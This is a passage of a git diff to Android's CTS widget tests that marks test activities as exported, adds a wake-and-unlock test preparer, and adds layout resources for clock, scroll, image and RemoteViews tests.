         <activity android:name="android.widget.cts.RelativeLayoutCtsActivity"
-            android:label="RelativeLayoutCtsActivity">
+             android:label="RelativeLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.FrameLayoutCtsActivity"
-            android:label="FrameLayoutCtsActivity">
+             android:label="FrameLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.AdapterViewCtsActivity"
-            android:label="AdapterViewCtsActivity">
+             android:label="AdapterViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.CheckedTextViewCtsActivity"
-            android:label="CheckedTextViewCtsActivity"/>
+             android:label="CheckedTextViewCtsActivity"/>
 
         <activity android:name="android.widget.cts.TableCtsActivity"
-            android:label="TableCtsActivity">
+             android:label="TableCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TabHostCtsActivity"
-            android:label="TabHostCtsActivity">
+             android:label="TabHostCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ZoomButtonCtsActivity"
-            android:label="ZoomButtonCtsActivity">
+             android:label="ZoomButtonCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.DatePickerDialogCtsActivity"
-                  android:label="DatePickerDialogCtsActivity">
+             android:label="DatePickerDialogCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.CalendarViewCtsActivity"
-                  android:label="CalendarViewCtsActivity">
+             android:label="CalendarViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.DatePickerCtsActivity"
-                  android:label="DatePickerCtsActivity">
+             android:label="DatePickerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.SearchViewCtsActivity"
-                  android:label="SearchViewCtsActivity">
+             android:label="SearchViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ImageButtonCtsActivity"
-                  android:label="ImageButtonCtsActivity">
+             android:label="ImageButtonCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.NumberPickerCtsActivity"
-                  android:label="NumberPickerCtsActivity">
+             android:label="NumberPickerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.CheckBoxCtsActivity"
-                  android:label="CheckBoxCtsActivity">
+             android:label="CheckBoxCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.CompoundButtonCtsActivity"
-                  android:label="CompoundButtonCtsActivity">
+             android:label="CompoundButtonCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.RadioButtonCtsActivity"
-                  android:label="RadioButtonCtsActivity">
+             android:label="RadioButtonCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ToggleButtonCtsActivity"
-                  android:label="ToggleButtonCtsActivity">
+             android:label="ToggleButtonCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TimePickerCtsActivity"
-                  android:label="TimePickerCtsActivity">
+             android:label="TimePickerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.BackwardNavigationCtsActivity"
-            android:label="BackwardNavigationCtsActivity">
+             android:label="BackwardNavigationCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.RadioGroupCtsActivity"
-                  android:label="RadioGroupCtsActivity">
+             android:label="RadioGroupCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.Activity"
-                  android:label="Activity"
-                  android:theme="@style/WidgetAttributeTestTheme">
+             android:label="Activity"
+             android:theme="@style/WidgetAttributeTestTheme"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.ActivityGroup"
-            android:label="ActivityGroup" />
+             android:label="ActivityGroup"/>
 
         <activity android:name="android.widget.cts.MockURLSpanTestActivity"
-            android:label="MockURLSpanTestActivity"
-            android:launchMode="singleTask"
-            android:alwaysRetainTaskState="true"
-            android:configChanges="orientation|keyboardHidden">
+             android:label="MockURLSpanTestActivity"
+             android:launchMode="singleTask"
+             android:alwaysRetainTaskState="true"
+             android:configChanges="orientation|keyboardHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-                <data android:scheme="ctstest" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+                <data android:scheme="ctstest"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.widget.cts.PointerIconCtsActivity">
+        <activity android:name="android.widget.cts.PointerIconCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.MagnifierCtsActivity"
-                  android:label="MagnifierCtsActivity">
+             android:label="MagnifierCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.inline.InlineContentViewCtsActivity"
-                  android:label="InlineContentViewCtsActivity">
+             android:label="InlineContentViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.widget.cts"
-                     android:label="CTS tests of android.widget">
+         android:targetPackage="android.widget.cts"
+         android:label="CTS tests of android.widget">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/widget/AndroidTest.xml b/tests/tests/widget/AndroidTest.xml
index b9311c6..9ff7300 100644
--- a/tests/tests/widget/AndroidTest.xml
+++ b/tests/tests/widget/AndroidTest.xml
@@ -34,4 +34,8 @@
         <option name="hidden-api-checks" value="false" />
         <option name="instrumentation-arg" key="thisisignored" value="thisisignored --no-window-animation" />
     </test>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
+        <option name="run-command" value="wm dismiss-keyguard" />
+    </target_preparer>
 </configuration>
diff --git a/tests/tests/widget/res/color/testcolorstatelist1.xml b/tests/tests/widget/res/color/testcolorstatelist1.xml
new file mode 100644
index 0000000..d5fbf57
--- /dev/null
+++ b/tests/tests/widget/res/color/testcolorstatelist1.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+    <item android:color="#ff000000"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/analogclock.xml b/tests/tests/widget/res/layout/analogclock.xml
deleted file mode 100644
index 7d862c3..0000000
--- a/tests/tests/widget/res/layout/analogclock.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2008 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-         http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<AnalogClock android:id="@+id/clock"
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="96dip"
-    android:layout_gravity="center_horizontal"
-    android:layout_height="wrap_content"/>
diff --git a/tests/tests/widget/res/layout/analogclock_layout.xml b/tests/tests/widget/res/layout/analogclock_layout.xml
new file mode 100644
index 0000000..b5fa004
--- /dev/null
+++ b/tests/tests/widget/res/layout/analogclock_layout.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+    <AnalogClock
+        android:id="@+id/clock"
+        android:layout_width="60dp"
+        android:layout_height="60dp"/>
+    <AnalogClock
+        android:id="@+id/clock_with_attrs"
+        android:layout_width="60dp"
+        android:layout_height="60dp"
+        android:dial="@drawable/blue_fill"
+        android:dialTint="@color/testcolorstatelist1"
+        android:dialTintMode="src_in"
+        android:hand_hour="@drawable/green_fill"
+        android:hand_hourTint="@color/testcolor1"
+        android:hand_hourTintMode="src_over"
+        android:hand_minute="@drawable/magenta_fill"
+        android:hand_minuteTint="@color/testcolor2"
+        android:hand_minuteTintMode="screen"
+        android:hand_second="@drawable/yellow_fill"
+        android:hand_secondTint="@color/testcolor3"
+        android:hand_secondTintMode="add"
+        android:timeZone="America/New_York"/>
+</LinearLayout>
+
diff --git a/tests/tests/widget/res/layout/edittext_singleline_maxlength.xml b/tests/tests/widget/res/layout/edittext_singleline_maxlength.xml
new file mode 100644
index 0000000..548d42d
--- /dev/null
+++ b/tests/tests/widget/res/layout/edittext_singleline_maxlength.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+  <TextView
+      android:id="@+id/textview_explicit_singleline_max_length"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:text="@string/even_more_long_text"
+      android:singleLine="true" />
+  <EditText
+      android:id="@+id/edittext_explicit_singleline_max_length"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:text="@string/even_more_long_text"
+      android:singleLine="true" />
+  <EditText
+      android:id="@+id/edittext_explicit_singleline_with_explicit_max_length"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:text="@string/even_more_long_text"
+      android:maxLength="2000"
+      android:singleLine="true" />
+  <EditText
+      android:id="@+id/edittext_multiLine"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:inputType="textMultiLine"
+      android:text="@string/even_more_long_text" />
+  <EditText
+      android:id="@+id/edittext_singleLine"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:inputType="text"
+      android:text="@string/even_more_long_text" />
+
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/horizontal_scrollview.xml b/tests/tests/widget/res/layout/horizontal_scrollview.xml
index e14fe54..2acd77f 100644
--- a/tests/tests/widget/res/layout/horizontal_scrollview.xml
+++ b/tests/tests/widget/res/layout/horizontal_scrollview.xml
@@ -120,4 +120,41 @@
         android:id="@+id/horizontal_scroll_view_custom_empty"
         android:layout_width="100px"
         android:layout_height="100px" />
+
+    <HorizontalScrollView
+        android:id="@+id/horizontal_scroll_view_stretch"
+        android:layout_width="90px"
+        android:layout_height="90px"
+        android:edgeEffectType="stretch"
+        android:background="#FFF">
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal">
+            <View
+                android:background="#00F"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+            <View
+                android:background="#0FF"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+            <View
+                android:background="#0F0"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+            <View
+                android:background="#FF0"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+            <View
+                android:background="#F00"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+            <View
+                android:background="#F0F"
+                android:layout_width="50px"
+                android:layout_height="90px"/>
+        </LinearLayout>
+    </HorizontalScrollView>
 </LinearLayout>
diff --git a/tests/tests/widget/res/layout/imageview_layout.xml b/tests/tests/widget/res/layout/imageview_layout.xml
index 5de0769..00dfc79 100644
--- a/tests/tests/widget/res/layout/imageview_layout.xml
+++ b/tests/tests/widget/res/layout/imageview_layout.xml
@@ -49,5 +49,26 @@
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
 
+    <ImageView
+        android:id="@+id/imageview_important_auto"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="auto"
+        android:importantForContentCapture="auto" />
+
+    <ImageView
+        android:id="@+id/imageview_important_no"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="no"
+        android:importantForContentCapture="no" />
+
+    <ImageView
+        android:id="@+id/imageview_important_yes"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="yes"
+        android:importantForContentCapture="yes" />
+
 </LinearLayout>
 
diff --git a/tests/tests/widget/res/layout/listview_layout.xml b/tests/tests/widget/res/layout/listview_layout.xml
index 79669c1..7f4872d 100644
--- a/tests/tests/widget/res/layout/listview_layout.xml
+++ b/tests/tests/widget/res/layout/listview_layout.xml
@@ -58,5 +58,11 @@
         android:layout_width="match_parent"
         android:layout_height="match_parent"/>
 
+    <ListView
+        android:id="@+id/listview_stretch"
+        android:layout_width="90px"
+        android:layout_height="90px"
+        android:edgeEffectType="stretch"/>
+
 </FrameLayout>
 
diff --git a/tests/tests/widget/res/layout/remoteviews_adapters.xml b/tests/tests/widget/res/layout/remoteviews_adapters.xml
new file mode 100644
index 0000000..4d1ed5e
--- /dev/null
+++ b/tests/tests/widget/res/layout/remoteviews_adapters.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<FrameLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+    <ListView
+        android:id="@+id/remoteView_list"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:visibility="visible"/>
+    <GridView
+        android:id="@+id/remoteView_grid"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:visibility="gone"/>
+    <StackView
+        android:id="@+id/remoteView_stack"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:visibility="gone"/>
+    <AdapterViewFlipper
+        android:id="@+id/remoteView_flipper"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:visibility="gone"/>
+</FrameLayout>
diff --git a/tests/tests/widget/res/layout/remoteviews_container.xml b/tests/tests/widget/res/layout/remoteviews_container.xml
new file mode 100644
index 0000000..5c322cb
--- /dev/null
+++ b/tests/tests/widget/res/layout/remoteviews_container.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/remoteView_container"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:orientation="vertical"/>
diff --git a/tests/tests/widget/res/layout/remoteviews_good.xml b/tests/tests/widget/res/layout/remoteviews_good.xml
index e322d0a..c0f2abb 100644
--- a/tests/tests/widget/res/layout/remoteviews_good.xml
+++ b/tests/tests/widget/res/layout/remoteviews_good.xml
@@ -17,6 +17,7 @@
 <LinearLayout
     xmlns:android="http://schemas.android.com/apk/res/android"
     android:id="@+id/remoteViews_good"
+    android:theme="@style/Theme.DeviceDefault.DayNight.TestWidget"
     android:layout_width="match_parent"
     android:layout_height="wrap_content"
     android:orientation="vertical">
@@ -89,4 +90,31 @@
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
 
+    <CheckBox
+        android:id="@+id/remoteView_checkBox"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <Switch
+        android:id="@+id/remoteView_switch"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <RadioGroup
+        android:id="@+id/remoteView_radioGroup"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content">
+
+        <RadioButton
+            android:id="@+id/remoteView_radioButton1"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+
+        <RadioButton
+            android:id="@+id/remoteView_radioButton2"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+
+    </RadioGroup>
+
 </LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/remoteviews_recycle.xml b/tests/tests/widget/res/layout/remoteviews_recycle.xml
new file mode 100644
index 0000000..59befe1
--- /dev/null
+++ b/tests/tests/widget/res/layout/remoteviews_recycle.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/remoteViews_recycle"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <TextView
+        android:id="@+id/remoteViews_recycle_static"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="static text"/>
+
+    <LinearLayout
+        android:id="@+id/remoteViews_recycle_container"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical"/>
+
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/remoteviews_small.xml b/tests/tests/widget/res/layout/remoteviews_small.xml
new file mode 100644
index 0000000..a1cc5d7
--- /dev/null
+++ b/tests/tests/widget/res/layout/remoteviews_small.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/remoteViews_small"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <TextView android:id="@+id/remoteView_text"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/remoteviews_textview.xml b/tests/tests/widget/res/layout/remoteviews_textview.xml
new file mode 100644
index 0000000..bd44b7e
--- /dev/null
+++ b/tests/tests/widget/res/layout/remoteviews_textview.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<TextView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:text="text view"/>
diff --git a/tests/tests/widget/res/layout/scrollview_layout.xml b/tests/tests/widget/res/layout/scrollview_layout.xml
index 57547ed..47cf600 100644
--- a/tests/tests/widget/res/layout/scrollview_layout.xml
+++ b/tests/tests/widget/res/layout/scrollview_layout.xml
@@ -121,5 +121,42 @@
         android:id="@+id/scroll_view_custom_empty"
         android:layout_width="100dip"
         android:layout_height="100dip" />
+
+    <ScrollView
+        android:id="@+id/scroll_view_stretch"
+        android:layout_width="90px"
+        android:layout_height="90px"
+        android:edgeEffectType="stretch"
+        android:background="#FFF">
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+            <View
+                android:background="#00F"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+            <View
+                android:background="#0FF"
+                android:layout_width="90px"
